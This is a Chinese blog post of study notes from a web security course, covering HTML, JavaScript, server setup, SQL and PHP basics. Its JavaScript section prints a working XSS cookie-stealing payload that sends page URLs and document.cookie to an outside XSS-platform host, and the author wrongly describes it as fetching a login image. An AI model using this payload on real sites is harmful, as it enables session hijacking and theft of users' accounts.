您的位置:首页 > 其它

网易云课堂Web安全工程师课程分享——第二章 Web开发基础知识

2020-02-03 04:28 941 查看

第一节 前端开发基础——HTML

课程回顾

  1. Web页面通常使用哪几种语言开发?
  2. HTML结构包含哪两部分?
  3. HTML元素由哪几部分组成?
  4. 常见的HTML标签有哪些?
  5. HTML DOM是什么结构?

总结回答

  1. HTML + CSS + Java Script
  2. Head 和 Body
  3. 开始标签(例如<P>),闭合标签(例如</p>), 内容,属性
标签 表示
注释 <!-- -->
图像 <img src=’’ >
链接 <a href=’’>
表单 <form> </form>
内联框架 <iframe src=’’> </iframe >
HTML DOM
DOCUMENTHTMLHEADBODYTITLE'MYTITLE'divh1pa

参考资料

初级

  1. 测验
    完成测验

  2. 实践
    完成实践中的“HTML实例”;在运行实验代码时,需要了解其含义,并尝试修改每一个实例相关的元素(标签、属性、内容)。

  3. 了解HTML实体
    http://www.runoob.com/html/html-entities.html
    http://www.runoob.com/tags/ref-entities.html

  4. 掌握HTML预留字符

字符 实体编码 实体名称
< &lt &#60
> &gt &#62
" &quot &#34
&apos &#39
& &amp &#38

高级

  1. 熟悉HTML的常见事件属性
    了解on属性,参考其中的属性亲自试一试,让如onerror、onload、onclick、onchange、onfocus、oninput、onmousemove、onsubmit、onkeydown属性执行alert(1)。

课程作业

创建你的第一个html网页,

包含内容:
网页标题<title>: 我的第一个HTML网页
使用<img>加载素材:
http://edu-image.nosdn.127.net/FBEFFDA6D0AA8FE868373CB4FE111DDA.png imageView&thumbnail=1920y560&quality=100(width=“480” height=“150”)
使用<img>加载学员云课堂头像(width=“50” height=“50”);
并内联一个包含云课堂的框架(width=“500” height=“100”)。可试用换行符。
并通过浏览器访问。将html代码文件和浏览器显示的内容截图贴到答题框内。

第二节 前端开发基础——javascript

课程回顾

  1. 我们在哪几个地方可以运行javascript?
  2. javascript如何获取元素和元素内容?
  3. javascript如何获取浏览器cookie?
  4. javascript由哪三部分组成?

总结回答

  1. HTML的<script>和</script>之间,HTML的事件属性中(如onclick)以及浏览器的控制台。
  2. 获取元素:getElementById()
    获取元素内容:.innerHTML
    alert()在javascript中表示弹出一个警告框,用来展示信息。
  3. 获取浏览器cookie:document.cookie
  4. ECMCScript:javascript标准
    DOM 文档对象模型,HTML元素操作
    BOM 浏览器对象模型,浏览器操作

参考资料

初级

  1. 测验
    完成测验
  2. 实践
    完成实例
  3. 掌握javaScript的全局函数
    掌握
  4. 实用扩展
    使用js格式化工具格式化如下代码,并理解每一句:
(function(){(new Image()).src='http://webxss.top/xss/index.php?do=api&id=Sx5tnh&location='+
escape((function(){try{return document.location.href}catch(e){return ''}})())+
'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+
'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+
'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();
keep.src='http://webxss.top/xss/index.php?
do=keepsession&id=Sx5tnh&url='+escape(document.location)+'&cookie='+escape(document.cookie)}

大概是获取webxss平台的登录主页图片…

高级

  1. 框架扩展
    搜集整理常见的JavaScript框架,了解如何使用;
  2. 掌握JSONP
    1)熟悉json格式,参考
    2)学习jsonp格式,参考
    3)在学习1.2.3后, 将上述JSONP教程中的代码部署并实验jsonp如何跨域读取数据。
  3. 掌握AJAX技术
    参考实践

课程作业

  1. 如下为一个html的元素:
    <p id=“hello”>Hello World!</p>
    如果想用javascript语言获取该元素内容,并将元素内容输出在浏览器页面上。则相关javascript代码如何写(不用全部写出,只写出关键的代码即可)。

    回答:document.write(document.getElementById(“hello”).innerHTML);
  2. 获取study.163.com的cookie并弹框显示。
    alert(document.cookie);

第三节 WEB服务端环境

课程回顾

  1. WEB动态页面大致解析过程是什么?
  2. WEB服务端包含哪两种服务?
  3. 本地访问时,四种访问网站的形式有哪些?
  4. 如何运行一个简单的WEB文件?

总结回答

1.动态页面解析

网页浏览器Web服务器脚本解释器数据库服务器PHP传递请求请求数据解释运行脚本返回数据返回HTML网页返回网页网页浏览器Web服务器脚本解释器数据库服务器PHP
  1. Web服务(Apache)和数据库服务(MySQL)。
  2. 本地主机,127.0.0.1,本机IP,域名访问
  3. 新建文档到当前目录下,在浏览器中输入路径即可访问。

参考资料

初级

  1. 了解参加的Web服务架构
    1)搜集流行的Web服务端架构:
    2)整理了解这些Web构架的特点。
  2. 安装xampp
    不是很麻烦这里就不详细介绍了

高级

  1. 安装tomcat环境,在网站目录下新建一个测试页面index.jsp
    内容为:
<html>
<head>
<title>
My first Tomcat!
</title>
</head>
<body>
<center>
Now time is:
<%=new java.util.Date()%>
</center>
</body>
</html>

要求正常显示页面。
经过我一顿操作之后,页面显示如下

这里比较坑的是设置环境变量的时候直接复制了路径,千万不要复制! 千万不要复制!

  1. 尝试部署初级扩展中提到的几种Web架构。
    有心杀贼无力回天啊兄弟们。如果有兴趣自己部署一下吧。

课程作业

安装phpstudy,并配置hosts为:127.0.0.1 websecurity.163.com;并访问该域名。在答题框内给出成功访问该网站的截图(包含地址栏)。

第四节 后端开发基础——SQL

课程回顾

  1. 如何才能创建一个数据库、表?
  2. 如何对表中数据进行增删改查?
  3. Mysql常见的内置函数有哪些?

总结回答

  1. 创建数据库:CREATE DATABASE NAME;
    创建数据表:CREATE TABLE NAME(DES);
  2. 增:INSERT INTO TABLE() VALUE();
    删:DELETE FROM TABLE WHERE DES;
    改:UPDATE table SET DES WHERE DES;
    查:SELECT DES FROM TABLE;
  3. select database();
    select current_user;
    select load_file();
    select version();
    select into+outfile;

参考资料

  1. 收集常见的数据库类型
    参考
  2. 测验
    完成测验
  3. 掌握phpmyadmin的基本操作
    增删查改。
  4. 学习函数
    掌握concat()、group_concat()、concat_ws()、load_file()、hex()、char()、count()、substring()、into+outfile、LOAD DATA INFIL、limit。

课程作业

作业时两个课上操作过的示范,这里就不重复了。

第五节 后端开发基础——PHP

课程回顾

  1. 什么是PHP?基本语法是什么?
  2. PHP变量$_POST, $_GET, $_FILES的用法。
  3. PHP include的用法?
  4. PHP如何操作数据库?

总结回答

  1. PHP:Hypertext Preprocessor,超文本预处理器,是一种开源的通用计算机脚本语言,尤其适用于网络开发并可嵌入HTML中使用。 基本语法:<?php ?>,注释
    #
    //
    /* */
    echo
    print
    ,串接
    .
    ,函数名
    function()
    ,变量名
    $
  2. 都可用来传递值。
  3. <?php include "" ?>
Mysql_connectMysql_query.utf8Mysql_select_dbMysql_query.operateclose

课程作业

视频中讲解的部分。

  • 点赞
  • 收藏
  • 分享
  • 文章举报
stirm 发布了4 篇原创文章 · 获赞 0 · 访问量 141 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: